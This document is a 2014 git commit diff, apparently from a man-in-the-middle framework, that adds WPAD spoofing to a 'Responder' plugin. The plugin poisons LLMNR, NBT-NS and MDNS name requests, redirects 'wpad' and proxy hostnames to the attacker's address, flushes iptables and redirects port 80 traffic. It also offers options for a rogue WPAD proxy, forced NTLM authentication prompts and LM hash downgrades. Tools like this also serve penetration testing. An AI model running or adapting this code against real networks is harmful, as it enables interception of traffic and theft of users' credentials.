WPAD now integrated

This commit is contained in:
byt3bl33d3r 2014-12-13 21:30:55 +01:00
parent ebf6af1da9
commit d01398d8a8
13 changed files with 82 additions and 39 deletions

View file

@ -1,23 +1,24 @@
from plugins.plugin import Plugin
import logging
import sys
import os
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr
from libs.responder.Responder import start_responder
from libs.sslstrip.DnsCache import DnsCache
import sys
import os
import threading
class Responder(Plugin):
name = "Responder"
optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests"
#implements = ["handleResponse"]
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.ip_address = None
if os.geteuid() != 0:
sys.exit("[-] Responder plugin requires root privileges")
@ -30,6 +31,15 @@ class Responder(Plugin):
sys.exit("[-] Error retrieving interface IP address: %s" % e)
print "[*] Responder plugin online"
DnsCache.getInstance().setCustomAddress(self.ip_address)
DnsCache.getInstance().setCustomRes('wpad', self.ip_address)
DnsCache.getInstance().setCustomRes('ISAProxySrv', self.ip_address)
DnsCache.getInstance().setCustomRes('RespProxySrv', self.ip_address)
if '--spoof' not in sys.argv:
print '[*] Setting up iptables'
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen)
t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address))
t.setDaemon(True)
@ -44,4 +54,9 @@ class Responder(Plugin):
options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
options.add_argument('--verbose', dest="Verbose", default= False, action="store_true", help="More verbose")
options.add_argument('--verbose', dest="Verbose", default=False, action="store_true", help="More verbose")
def finish(self):
if '--spoof' not in sys.argv:
print '\n[*] Flushing iptables'
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')